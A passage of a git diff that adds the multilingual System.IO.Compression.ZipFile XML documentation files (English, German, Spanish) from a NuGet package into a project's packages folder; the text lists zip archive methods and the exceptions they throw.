of the directory. + The encoding to use when reading or writing entry names in this archive. Specify a value for this parameter only when an encoding is required for interoperability with zip archive tools and libraries that do not support UTF-8 encoding for entry names. + + or is , contains only white space, or contains at least one invalid character.-or- is set to a Unicode encoding other than UTF-8. + + or is null. + In or , the specified path, file name, or both exceed the system-defined maximum length. For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + already exists.-or-A file in the specified directory could not be opened. + + specifies a directory.-or-The caller does not have the required permission to access the directory specified in or the file specified in . + + or contains an invalid format.-or-The zip archive does not support writing. + + + Extracts all the files in the specified zip archive to a directory on the file system. + The path to the archive that is to be extracted. + The path to the directory in which to place the extracted files, specified as a relative or absolute path. A relative path is interpreted as relative to the current working directory. + + or is , contains only white space, or contains at least one invalid character. + + or is null. + The specified path in or exceeds the system-defined maximum length. For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + The specified path is invalid (for example, it is on an unmapped drive). + The directory specified by already exists.-or-The name of an entry in the archive is , contains only white space, or contains at least one invalid character.-or-Extracting an archive entry would create a file that is outside the directory specified by . (For example, this might happen if the entry name contains parent directory accessors.) -or-An archive entry to extract has the same name as an entry that has already been extracted from the same archive. + The caller does not have the required permission to access the archive or the destination directory. + + or contains an invalid format. + + was not found. + The archive specified by is not a valid zip archive.-or-An archive entry was not found or was corrupt.-or-An archive entry was compressed by using a compression method that is not supported. + + + Extracts all the files in the specified zip archive to a directory on the file system and uses the specified character encoding for entry names. + The path to the archive that is to be extracted. + The path to the directory in which to place the extracted files, specified as a relative or absolute path. A relative path is interpreted as relative to the current working directory. + The encoding to use when reading or writing entry names in this archive. Specify a value for this parameter only when an encoding is required for interoperability with zip archive tools and libraries that do not support UTF-8 encoding for entry names. + + or is , contains only white space, or contains at least one invalid character.-or- is set to a Unicode encoding other than UTF-8. + + or is null. + The specified path in or exceeds the system-defined maximum length. For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + The specified path is invalid (for example, it is on an unmapped drive). + The directory specified by already exists.-or-The name of an entry in the archive is , contains only white space, or contains at least one invalid character.-or-Extracting an archive entry would create a file that is outside the directory specified by . (For example, this might happen if the entry name contains parent directory accessors.) -or-An archive entry to extract has the same name as an entry that has already been extracted from the same archive. + The caller does not have the required permission to access the archive or the destination directory. + + or contains an invalid format. + + was not found. + The archive specified by is not a valid zip archive.-or-An archive entry was not found or was corrupt.-or-An archive entry was compressed by using a compression method that is not supported. + + + Opens a zip archive at the specified path and in the specified mode. + The opened zip archive. + The path to the archive to open, specified as a relative or absolute path. A relative path is interpreted as relative to the current working directory. + One of the enumeration values that specifies the actions which are allowed on the entries in the opened archive. + + is , contains only white space, or contains at least one invalid character. + + is null. + In , the specified path, file name, or both exceed the system-defined maximum length. For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + could not be opened.-or- is set to , but the file specified in already exists. + + specifies a directory.-or-The caller does not have the required permission to access the file specified in . + + specifies an invalid value. + + is set to , but the file specified in is not found. + + contains an invalid format. + + could not be interpreted as a zip archive.-or- is , but an entry is missing or corrupt and cannot be read.-or- is , but an entry is too large to fit into memory. + + + Opens a zip archive at the specified path, in the specified mode, and by using the specified character encoding for entry names. + The opened zip archive. + The path to the archive to open, specified as a relative or absolute path. A relative path is interpreted as relative to the current working directory. + One of the enumeration values that specifies the actions that are allowed on the entries in the opened archive. + The encoding to use when reading or writing entry names in this archive. Specify a value for this parameter only when an encoding is required for interoperability with zip archive tools and libraries that do not support UTF-8 encoding for entry names. + + is , contains only white space, or contains at least one invalid character.-or- is set to a Unicode encoding other than UTF-8. + + is null. + In , the specified path, file name, or both exceed the system-defined maximum length. For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + could not be opened.-or- is set to , but the file specified in already exists. + + specifies a directory.-or-The caller does not have the required permission to access the file specified in . + + specifies an invalid value. + + is set to , but the file specified in is not found. + + contains an invalid format. + + could not be interpreted as a zip archive.-or- is , but an entry is missing or corrupt and cannot be read.-or- is , but an entry is too large to fit into memory. + + + Opens a zip archive for reading at the specified path. + The opened zip archive. + The path to the archive to open, specified as a relative or absolute path. A relative path is interpreted as relative to the current working directory. + + is , contains only white space, or contains at least one invalid character. + + is null. + In , the specified path, file name, or both exceed the system-defined maximum length. For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + could not be opened. + + specifies a directory.-or-The caller does not have the required permission to access the file specified in . + The file specified in is not found. + + contains an invalid format. + + could not be interpreted as a zip archive. + + + Provides extension methods for the and classes. + + + Archives a file by compressing it and adding it to the zip archive. + A wrapper for the new entry in the zip archive. + The zip archive to add the file to. + The path to the file to be archived. You can specify either a relative or an absolute path. A relative path is interpreted as relative to the current working directory. + The name of the entry to create in the zip archive. + + is , contains only white space, or contains at least one invalid character.-or- is . + + or is null. + In , the specified path, file name, or both exceed the system-defined maximum length. For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid (for example, it is on an unmapped drive). + The file specified by cannot be opened. + + specifies a directory.-or-The caller does not have the required permission to access the file specified by . + The file specified by is not found. + The parameter is in an invalid format.-or-The zip archive does not support writing. + The zip archive has been disposed. + + + Archives a file by compressing it using the specified compression level and adding it to the zip archive. + A wrapper for the new entry in the zip archive. + The zip archive to add the file to. + The path to the file to be archived. You can specify either a relative or an absolute path. A relative path is interpreted as relative to the current working directory. + The name of the entry to create in the zip archive. + One of the enumeration values that indicates whether to emphasize speed or compression effectiveness when creating the entry. + + is , contains only white space, or contains at least one invalid character.-or- is . + + or is null. + + is invalid (for example, it is on an unmapped drive). + In , the specified path, file name, or both exceed the system-defined maximum length. For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + The file specified by cannot be opened. + + specifies a directory.-or-The caller does not have the required permission to access the file specified by . + The file specified by is not found. + The parameter is in an invalid format.-or-The zip archive does not support writing. + The zip archive has been disposed. + + + Extracts all the files in the zip archive to a directory on the file system. + The zip archive to extract files from. + The path to the directory to place the extracted files in. You can specify either a relative or an absolute path. A relative path is interpreted as relative to the current working directory. + + is , contains only white space, or contains at least one invalid character. + + is null. + The specified path exceeds the system-defined maximum length. For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + The specified path is invalid (for example, it is on an unmapped drive). + The directory specified by already exists.-or-The name of an entry in the archive is , contains only white space, or contains at least one invalid character.-or-Extracting an entry from the archive would create a file that is outside the directory specified by . (For example, this might happen if the entry name contains parent directory accessors.) -or-Two or more entries in the archive have the same name. + The caller does not have the required permission to write to the destination directory. + + contains an invalid format. + An archive entry cannot be found or is corrupt.-or-An archive entry was compressed by using a compression method that is not supported. + + + Extracts an entry in the zip archive to a file. + The zip archive entry to extract a file from. + The path of the file to create from the contents of the entry. You can specify either a relative or an absolute path. A relative path is interpreted as relative to the current working directory. + + is a zero-length string, contains only white space, or contains one or more invalid characters as defined by .-or- specifies a directory. + + is null. + The specified path, file name, or both exceed the system-defined maximum length. For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + The specified path is invalid (for example, it is on an unmapped drive). + + already exists.-or- An I/O error occurred.-or-The entry is currently open for writing.-or-The entry has been deleted from the archive. + The caller does not have the required permission to create the new file. + The entry is missing from the archive, or is corrupt and cannot be read.-or-The entry has been compressed by using a compression method that is not supported. + The zip archive that this entry belongs to has been disposed. + + is in an invalid format. -or-The zip archive for this entry was opened in mode, which does not permit the retrieval of entries. + + + Extracts an entry in the zip archive to a file, and optionally overwrites an existing file that has the same name. + The zip archive entry to extract a file from. + The path of the file to create from the contents of the entry. You can specify either a relative or an absolute path. A relative path is interpreted as relative to the current working directory. + true to overwrite an existing file that has the same name as the destination file; otherwise, false. + + is a zero-length string, contains only white space, or contains one or more invalid characters as defined by .-or- specifies a directory. + + is null. + The specified path, file name, or both exceed the system-defined maximum length. For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + The specified path is invalid (for example, it is on an unmapped drive). + + already exists and is false.-or- An I/O error occurred.-or-The entry is currently open for writing.-or-The entry has been deleted from the archive. + The caller does not have the required permission to create the new file. + The entry is missing from the archive or is corrupt and cannot be read.-or-The entry has been compressed by using a compression method that is not supported. + The zip archive that this entry belongs to has been disposed. + + is in an invalid format. -or-The zip archive for this entry was opened in mode, which does not permit the retrieval of entries. + + + \ No newline at end of file diff --git a/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/ref/netstandard1.3/de/System.IO.Compression.ZipFile.xml b/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/ref/netstandard1.3/de/System.IO.Compression.ZipFile.xml new file mode 100644 index 0000000..c083586 --- /dev/null +++ b/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/ref/netstandard1.3/de/System.IO.Compression.ZipFile.xml @@ -0,0 +1,274 @@ + + + + System.IO.Compression.ZipFile + + + + Stellt statische Methoden zum Erstellen, Extrahieren und Öffnen von Zip-Archiven bereit. + + + Erstellt ein ZIP-Archiv, das die Dateien und Verzeichnisse im angegebenen Verzeichnis enthält. + Der Pfad zum Verzeichnis, das archiviert werden soll, angegeben als relativer oder absoluter Pfad.Ein relativer Pfad wird relativ zum aktuellen Arbeitsverzeichnis interpretiert. + Der Pfad des zu erstellenden Archivs, angegeben als relativer oder absoluter Pfad.Ein relativer Pfad wird relativ zum aktuellen Arbeitsverzeichnis interpretiert. + + or is , contains only white space, or contains at least one invalid character. + + or is null. + In or , the specified path, file name, or both exceed the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + already exists.-or-A file in the specified directory could not be opened. + + specifies a directory.-or-The caller does not have the required permission to access the directory specified in or the file specified in . + + or contains an invalid format.-or-The zip archive does not support writing. + + + Erstellt ein ZIP-Archiv, das die Dateien und Verzeichnisse im angegebenen Verzeichnis enthält, verwendet die angegebene Komprimierungsebene und optional das Basisverzeichnis. + Der Pfad zum Verzeichnis, das archiviert werden soll, angegeben als relativer oder absoluter Pfad.Ein relativer Pfad wird relativ zum aktuellen Arbeitsverzeichnis interpretiert. + Der Pfad des zu erstellenden Archivs, angegeben als relativer oder absoluter Pfad.Ein relativer Pfad wird relativ zum aktuellen Arbeitsverzeichnis interpretiert. + Einer der Enumerationswerte, der angibt, ob Geschwindigkeit oder Komprimierungseffektivität priorisiert wird, wenn der Eintrag erstellt. + true, um den Verzeichnisnamens von am Stamm des Archivs einzuschließen; false, um nur der Inhalt des Verzeichnisses einzuschließen. + + or is , contains only white space, or contains at least one invalid character. + + or is null. + In or , the specified path, file name, or both exceed the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + already exists.-or-A file in the specified directory could not be opened. + + specifies a directory.-or-The caller does not have the required permission to access the directory specified in or the file specified in . + + or contains an invalid format.-or-The zip archive does not support writing. + + + Erstellt ein ZIP-Archiv, das die Dateien und Verzeichnisse im angegebenen Verzeichnis enthält, die angegebene Komprimierungsebene und der angegebenen Zeichencodierung für Eintragsnamen verwendet und optional das Basisverzeichnis mit einbezieht. + Der Pfad zum Verzeichnis, das archiviert werden soll, angegeben als relativer oder absoluter Pfad.Ein relativer Pfad wird relativ zum aktuellen Arbeitsverzeichnis interpretiert. + Der Pfad des zu erstellenden Archivs, angegeben als relativer oder absoluter Pfad.Ein relativer Pfad wird relativ zum aktuellen Arbeitsverzeichnis interpretiert. + Einer der Enumerationswerte, der angibt, ob Geschwindigkeit oder Komprimierungseffektivität priorisiert wird, wenn der Eintrag erstellt. + true, um den Verzeichnisnamens von am Stamm des Archivs einzuschließen; false, um nur der Inhalt des Verzeichnisses einzuschließen. + Die Codierung, die beim Lesen oder Schreiben von Eintragsnamen in diesem Archiv verwendet werden soll.Geben Sie einen Wert für diesen Parameter nur an, wenn eine Codierung für die Interoperabilität mit ZIP-Archiv-Tools und -Bibliotheken erforderlich ist, die die UTF-8-Codierung für Eintragsnamen nicht unterstützen. + + or is , contains only white space, or contains at least one invalid character.-or- is set to a Unicode encoding other than UTF-8. + + or is null. + In or , the specified path, file name, or both exceed the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + already exists.-or-A file in the specified directory could not be opened. + + specifies a directory.-or-The caller does not have the required permission to access the directory specified in or the file specified in . + + or contains an invalid format.-or-The zip archive does not support writing. + + + Extrahiert alle Dateien im angegebenen ZIP-Archiv in ein Verzeichnis im Dateisystem. + Der Pfad zum Archiv, das extrahiert werden soll. + Der Pfad zum Verzeichnis, in dem die extrahierten Dateien abgelegt werden sollen, angegeben als relativer oder absoluter Pfad.Ein relativer Pfad wird relativ zum aktuellen Arbeitsverzeichnis interpretiert. + + or is , contains only white space, or contains at least one invalid character. + + or is null. + The specified path in or exceeds the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + The specified path is invalid (for example, it is on an unmapped drive). + The directory specified by already exists.-or-The name of an entry in the archive is , contains only white space, or contains at least one invalid character.-or-Extracting an archive entry would create a file that is outside the directory specified by .(For example, this might happen if the entry name contains parent directory accessors.)-or-An archive entry to extract has the same name as an entry that has already been extracted from the same archive. + The caller does not have the required permission to access the archive or the destination directory. + + or contains an invalid format. + + was not found. + The archive specified by is not a valid zip archive.-or-An archive entry was not found or was corrupt.-or-An archive entry was compressed by using a compression method that is not supported. + + + Extrahiert alle Dateien im angegebenen ZIP-Archiv in ein Verzeichnis im Dateisystem und verwendet die angegebene Zeichencodierung für Eintragsnamen. + Der Pfad zum Archiv, das extrahiert werden soll. + Der Pfad zum Verzeichnis, in dem die extrahierten Dateien abgelegt werden sollen, angegeben als relativer oder absoluter Pfad.Ein relativer Pfad wird relativ zum aktuellen Arbeitsverzeichnis interpretiert. + Die Codierung, die beim Lesen oder Schreiben von Eintragsnamen in diesem Archiv verwendet werden soll.Geben Sie einen Wert für diesen Parameter nur an, wenn eine Codierung für die Interoperabilität mit ZIP-Archiv-Tools und -Bibliotheken erforderlich ist, die die UTF-8-Codierung für Eintragsnamen nicht unterstützen. + + or is , contains only white space, or contains at least one invalid character.-or- is set to a Unicode encoding other than UTF-8. + + or is null. + The specified path in or exceeds the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + The specified path is invalid (for example, it is on an unmapped drive). + The directory specified by already exists.-or-The name of an entry in the archive is , contains only white space, or contains at least one invalid character.-or-Extracting an archive entry would create a file that is outside the directory specified by .(For example, this might happen if the entry name contains parent directory accessors.)-or-An archive entry to extract has the same name as an entry that has already been extracted from the same archive. + The caller does not have the required permission to access the archive or the destination directory. + + or contains an invalid format. + + was not found. + The archive specified by is not a valid zip archive.-or-An archive entry was not found or was corrupt.-or-An archive entry was compressed by using a compression method that is not supported. + + + Öffnet ein Zip-Archiv unter dem angegebenen Pfad und im angegebenen Modus. + Das geöffnete ZIP-Archiv. + Der Pfad zum Archiv, dass geöffnet werden soll, angegeben als relativer oder absoluter Pfad.Ein relativer Pfad wird relativ zum aktuellen Arbeitsverzeichnis interpretiert. + Einer der Enumerationswerte, der die Aktionen angibt, die bei den Einträgen im geöffneten Archiv zulässig sind. + + is , contains only white space, or contains at least one invalid character. + + is null. + In , the specified path, file name, or both exceed the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + could not be opened.-or- is set to , but the file specified in already exists. + + specifies a directory.-or-The caller does not have the required permission to access the file specified in . + + specifies an invalid value. + + is set to , but the file specified in is not found. + + contains an invalid format. + + could not be interpreted as a zip archive.-or- is , but an entry is missing or corrupt and cannot be read.-or- is , but an entry is too large to fit into memory. + + + Öffnet ein Zip-Archiv im angegebenen Pfad im angegebenen Modus und mit der angegebenen Zeichencodierung für Eintragsnamen. + Das geöffnete ZIP-Archiv. + Der Pfad zum Archiv, dass geöffnet werden soll, angegeben als relativer oder absoluter Pfad.Ein relativer Pfad wird relativ zum aktuellen Arbeitsverzeichnis interpretiert. + Einer der Enumerationswerte, der die Aktionen angibt, die bei den Einträgen im geöffneten Archiv zulässig sind. + Die Codierung, die beim Lesen oder Schreiben von Eintragsnamen in diesem Archiv verwendet werden soll.Geben Sie einen Wert für diesen Parameter nur an, wenn eine Codierung für die Interoperabilität mit ZIP-Archiv-Tools und -Bibliotheken erforderlich ist, die die UTF-8-Codierung für Eintragsnamen nicht unterstützen. + + is , contains only white space, or contains at least one invalid character.-or- is set to a Unicode encoding other than UTF-8. + + is null. + In , the specified path, file name, or both exceed the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + could not be opened.-or- is set to , but the file specified in already exists. + + specifies a directory.-or-The caller does not have the required permission to access the file specified in . + + specifies an invalid value. + + is set to , but the file specified in is not found. + + contains an invalid format. + + could not be interpreted as a zip archive.-or- is , but an entry is missing or corrupt and cannot be read.-or- is , but an entry is too large to fit into memory. + + + Öffnet ein Zip-Archiv für das Lesen im angegebenen Pfad. + Das geöffnete ZIP-Archiv. + Der Pfad zum Archiv, dass geöffnet werden soll, angegeben als relativer oder absoluter Pfad.Ein relativer Pfad wird relativ zum aktuellen Arbeitsverzeichnis interpretiert. + + is , contains only white space, or contains at least one invalid character. + + is null. + In , the specified path, file name, or both exceed the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + could not be opened. + + specifies a directory.-or-The caller does not have the required permission to access the file specified in . + The file specified in is not found. + + contains an invalid format. + + could not be interpreted as a zip archive. + + + Stellt Erweiterungsmethoden für die - und -Klassen bereit. + + + Archiviert eine Datei durch Komprimieren und Hinzufügen zum ZIP-Archiv. + Ein Wrapper für den neuen Eintrag im ZIP-Archiv. + Das der Datei hinzuzufügende ZIP-Archiv. + Der Pfad zu der zu archivierenden Datei.Sie können einen absoluten oder relativen Pfad angeben.Ein relativer Pfad wird relativ zum aktuellen Arbeitsverzeichnis interpretiert. + Der Name des Eintrags, der im ZIP-Archiv erstellt werden soll. + + ist , enthält nur Leerraum oder mindestens ein ungültiges Zeichen.- oder - ist . + + oder ist null. + Im überschreiten der angegebene Pfad und/oder der Dateiname die vom System vorgegebene Höchstlänge.Beispielsweise müssen Pfade auf Windows-Plattformen weniger als 248 Zeichen und Dateinamen weniger als 260 Zeichen haben. + + ist ungültig (z. B. befindet er sich auf einem nicht zugeordneten Laufwerk). + Die anhand der angegebene Datei kann nicht geöffnet werden. + + gibt ein Verzeichnis an.- oder -Der Aufrufer verfügt nicht über die erforderliche Berechtigung für den Zugriff auf die durch angegebene Datei. + Die von angegebene Datei wird nicht gefunden. + Der -Parameter hat ein ungültiges Format.- oder -Das ZIP-Archiv unterstützt keine Schreibvorgänge. + Die ZIP-Archiv wurde freigegeben. + + + Archiviert eine Datei durch Komprimieren mithilfe der angegebenen Komprimierungsebene und Hinzufügen zum ZIP-Archiv. + Ein Wrapper für den neuen Eintrag im ZIP-Archiv. + Das der Datei hinzuzufügende ZIP-Archiv. + Der Pfad zu der zu archivierenden Datei.Sie können einen absoluten oder relativen Pfad angeben.Ein relativer Pfad wird relativ zum aktuellen Arbeitsverzeichnis interpretiert. + Der Name des Eintrags, der im ZIP-Archiv erstellt werden soll. + Einer der Enumerationswerte, der angibt, ob Geschwindigkeit oder Komprimierungseffektivität priorisiert wird, wenn der Eintrag erstellt. + + ist , enthält nur Leerraum oder mindestens ein ungültiges Zeichen.- oder - ist . + + oder ist null. + + ist ungültig (z. B. befindet er sich auf einem nicht zugeordneten Laufwerk). + Im überschreiten der angegebene Pfad und/oder der Dateiname die vom System vorgegebene Höchstlänge.Beispielsweise müssen Pfade auf Windows-Plattformen weniger als 248 Zeichen und Dateinamen weniger als 260 Zeichen haben. + Die anhand der angegebene Datei kann nicht geöffnet werden. + + gibt ein Verzeichnis an.- oder -Der Aufrufer verfügt nicht über die erforderliche Berechtigung für den Zugriff auf die durch angegebene Datei. + Die von angegebene Datei wird nicht gefunden. + Der -Parameter hat ein ungültiges Format.- oder -Das ZIP-Archiv unterstützt keine Schreibvorgänge. + Die ZIP-Archiv wurde freigegeben. + + + Extrahiert alle Dateien im ZIP-Archiv in ein Verzeichnis im Dateisystem. + Das Zip-Archiv, aus dem Dateien extrahiert werden sollen. + Der Pfad zum Verzeichnis, in dem die extrahierten Dateien abgelegt werden sollen.Sie können einen absoluten oder relativen Pfad angeben.Ein relativer Pfad wird relativ zum aktuellen Arbeitsverzeichnis interpretiert. + + ist , enthält nur Leerraum oder mindestens ein ungültiges Zeichen. + + ist null. + Der angegebene Pfad überschreitet die im System definierte maximale Länge ().Beispielsweise müssen Pfade auf Windows-Plattformen weniger als 248 Zeichen und Dateinamen weniger als 260 Zeichen haben. + Der angegebene Pfad ist ungültig (z. B. befindet er sich auf einem nicht zugeordneten Laufwerk). + Das von angegebene Verzeichnis ist bereits vorhanden.- oder -Der Name eines Eintrags im Archiv ist , enthält nur Leerraum oder enthält mindestens ein ungültiges Zeichen.- oder -Das Extrahieren eines Eintrags aus dem Archiv wird eine Datei erstellen, die sich außerhalb des Verzeichnisses befindet, das von angegeben wird. (Zum Beispiel geschähe dies möglicherweise, wenn der Eintragsname Accessoren des übergeordneten Verzeichnisses enthält.) - oder -Zwei oder mehr Einträge im Archiv haben denselben Namen. + Der Aufrufer verfügt nicht über die erforderliche Berechtigung zum Schreiben in das Zielverzeichnis. + + enthält ein ungültiges Format. + Ein Archiveintrag wurde nicht gefunden oder ist beschädigt.- oder -Ein Archiveintrag wurde mit einer nicht unterstützten Komprimierungsmethode komprimiert. + + + Extrahiert einen Eintrag im ZIP-Archiv in eine Datei. + Der Zip-Archiveintrag zum Extrahieren einer Datei. + Der Pfad der Datei, die aus dem Eintragsinhalt erstellt werden soll.Sie können einen absoluten oder relativen Pfad angeben.Ein relativer Pfad wird relativ zum aktuellen Arbeitsverzeichnis interpretiert. + + ist eine Zeichenfolge der Länge 0, besteht nur aus Leerraum oder enthält ein oder mehr durch definierte ungültige Zeichen.- oder - gibt ein Verzeichnis an. + + ist null. + Der angegebene Pfad und/oder der Dateiname überschreiten die vom System vorgegebene Höchstlänge.Beispielsweise müssen Pfade auf Windows-Plattformen weniger als 248 Zeichen und Dateinamen weniger als 260 Zeichen haben. + Der angegebene Pfad ist ungültig (z. B. befindet er sich auf einem nicht zugeordneten Laufwerk). + + ist bereits vorhanden.- oder - Ein E/A-Fehler ist aufgetreten.- oder -Der Eintrag ist derzeit zum Schreiben geöffnet.- oder -Der Eintrag wurde vom Archiv gelöscht. + Der Aufrufer verfügt nicht über die erforderliche Berechtigung für die Erstellung der neuen Datei. + Der Eintrag fehlt im Archiv, oder ist beschädigt und kann nicht gelesen werden.- oder -Der Eintrag wurde mit einer nicht unterstützten Komprimierungsmethode komprimiert. + Das Zip-Archiv, zu dem dieser Eintrag gehört, wurde freigegeben. + Das Format von ist ungültig. - oder -Das Zip-Archiv für diesen Eintrag wurde im -Modus geöffnet, der den Abruf von Einträgen nicht zulässt. + + + Extrahiert einen Eintrag im ZIP-Archiv in eine Datei, wobei optional eine vorhandene Datei überschrieben wird, die den gleichen Namen hat. + Der Zip-Archiveintrag zum Extrahieren einer Datei. + Der Pfad der Datei, die aus dem Eintragsinhalt erstellt werden soll.Sie können einen absoluten oder relativen Pfad angeben.Ein relativer Pfad wird relativ zum aktuellen Arbeitsverzeichnis interpretiert. + true, um eine vorhandene Datei zu überschreiben, die den gleichen Namen wie die Zieldatei hat; andernfalls false. + + ist eine Zeichenfolge der Länge 0, besteht nur aus Leerraum oder enthält ein oder mehr durch definierte ungültige Zeichen.- oder - gibt ein Verzeichnis an. + + ist null. + Der angegebene Pfad und/oder der Dateiname überschreiten die vom System vorgegebene Höchstlänge.Beispielsweise müssen Pfade auf Windows-Plattformen weniger als 248 Zeichen und Dateinamen weniger als 260 Zeichen haben. + Der angegebene Pfad ist ungültig (z. B. befindet er sich auf einem nicht zugeordneten Laufwerk). + + ist bereits vorhanden und ist false.- oder - Ein E/A-Fehler ist aufgetreten.- oder -Der Eintrag ist derzeit zum Schreiben geöffnet.- oder -Der Eintrag wurde vom Archiv gelöscht. + Der Aufrufer verfügt nicht über die erforderliche Berechtigung für die Erstellung der neuen Datei. + Der Eintrag fehlt im Archiv, oder er ist beschädigt und kann nicht gelesen werden.- oder -Der Eintrag wurde mit einer nicht unterstützten Komprimierungsmethode komprimiert. + Das Zip-Archiv, zu dem dieser Eintrag gehört, wurde freigegeben. + Das Format von ist ungültig. - oder -Das Zip-Archiv für diesen Eintrag wurde im -Modus geöffnet, der den Abruf von Einträgen nicht zulässt. + + + \ No newline at end of file diff --git a/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/ref/netstandard1.3/es/System.IO.Compression.ZipFile.xml b/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/ref/netstandard1.3/es/System.IO.Compression.ZipFile.xml new file mode 100644 index 0000000..6f9ccad --- /dev/null +++ b/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/ref/netstandard1.3/es/System.IO.Compression.ZipFile.xml @@ -0,0 +1,274 @@ + + + + System.IO.Compression.ZipFile + + + + Proporciona métodos estáticos para crear, extraer y abrir archivos zip. + + + Crea un archivo zip que contiene los archivos y directorios del directorio especificado. + La ruta de acceso al directorio que se va a almacenar, especificada como una ruta de acceso relativa o absoluta.Una ruta de acceso relativa se interpreta en relación con el directorio de trabajo actual. + La ruta de acceso del archivo que se creará, especificada como una ruta de acceso relativa o absoluta.Una ruta de acceso relativa se interpreta en relación con el directorio de trabajo actual. + + or is , contains only white space, or contains at least one invalid character. + + or is null. + In or , the specified path, file name, or both exceed the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + already exists.-or-A file in the specified directory could not be opened. + + specifies a directory.-or-The caller does not have the required permission to access the directory specified in or the file specified in . + + or contains an invalid format.-or-The zip archive does not support writing. + + + Crea un archivo zip que contiene los archivos y directorios del directorio especificado, utiliza el nivel de compresión especificado y, opcionalmente, incluye el directorio base. + La ruta de acceso al directorio que se va a almacenar, especificada como una ruta de acceso relativa o absoluta.Una ruta de acceso relativa se interpreta en relación con el directorio de trabajo actual. + La ruta de acceso del archivo que se creará, especificada como una ruta de acceso relativa o absoluta.Una ruta de acceso relativa se interpreta en relación con el directorio de trabajo actual. + Uno de los valores de enumeración que indica si se va a hacer hincapié en la velocidad o en la eficacia de compresión al crear la entrada. + true para incluir el nombre de directorio de en la raíz del archivo; false para incluir solo el contenido del directorio. + + or is , contains only white space, or contains at least one invalid character. + + or is null. + In or , the specified path, file name, or both exceed the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + already exists.-or-A file in the specified directory could not be opened. + + specifies a directory.-or-The caller does not have the required permission to access the directory specified in or the file specified in . + + or contains an invalid format.-or-The zip archive does not support writing. + + + Crea un archivo zip que contiene los archivos y directorios del directorio especificado, utiliza el nivel de compresión y la codificación de caracteres especificados para los nombres de entrada y, opcionalmente, incluye el directorio base. + La ruta de acceso al directorio que se va a almacenar, especificada como una ruta de acceso relativa o absoluta.Una ruta de acceso relativa se interpreta en relación con el directorio de trabajo actual. + La ruta de acceso del archivo que se creará, especificada como una ruta de acceso relativa o absoluta.Una ruta de acceso relativa se interpreta en relación con el directorio de trabajo actual. + Uno de los valores de enumeración que indica si se va a hacer hincapié en la velocidad o en la eficacia de compresión al crear la entrada. + true para incluir el nombre de directorio de en la raíz del archivo; false para incluir solo el contenido del directorio. + Codificación que se va a usar al leer o escribir nombres de entrada en este archivo.Especifique un valor para este parámetro únicamente cuando se necesite una codificación para la interoperabilidad con herramientas y bibliotecas de archivos zip que no admiten la codificación UTF-8 para los nombres de entrada. + + or is , contains only white space, or contains at least one invalid character.-or- is set to a Unicode encoding other than UTF-8. + + or is null. + In or , the specified path, file name, or both exceed the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + already exists.-or-A file in the specified directory could not be opened. + + specifies a directory.-or-The caller does not have the required permission to access the directory specified in or the file specified in . + + or contains an invalid format.-or-The zip archive does not support writing. + + + Extrae todos los archivos del archivo zip especificado en un directorio del sistema de archivos. + La ruta de acceso al archivo que se va a extraer. + La ruta de acceso al directorio en el que se van a colocar los archivos extraídos, especificada como una ruta de acceso relativa o absoluta.Una ruta de acceso relativa se interpreta en relación con el directorio de trabajo actual. + + or is , contains only white space, or contains at least one invalid character. + + or is null. + The specified path in or exceeds the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + The specified path is invalid (for example, it is on an unmapped drive). + The directory specified by already exists.-or-The name of an entry in the archive is , contains only white space, or contains at least one invalid character.-or-Extracting an archive entry would create a file that is outside the directory specified by .(For example, this might happen if the entry name contains parent directory accessors.)-or-An archive entry to extract has the same name as an entry that has already been extracted from the same archive. + The caller does not have the required permission to access the archive or the destination directory. + + or contains an invalid format. + + was not found. + The archive specified by is not a valid zip archive.-or-An archive entry was not found or was 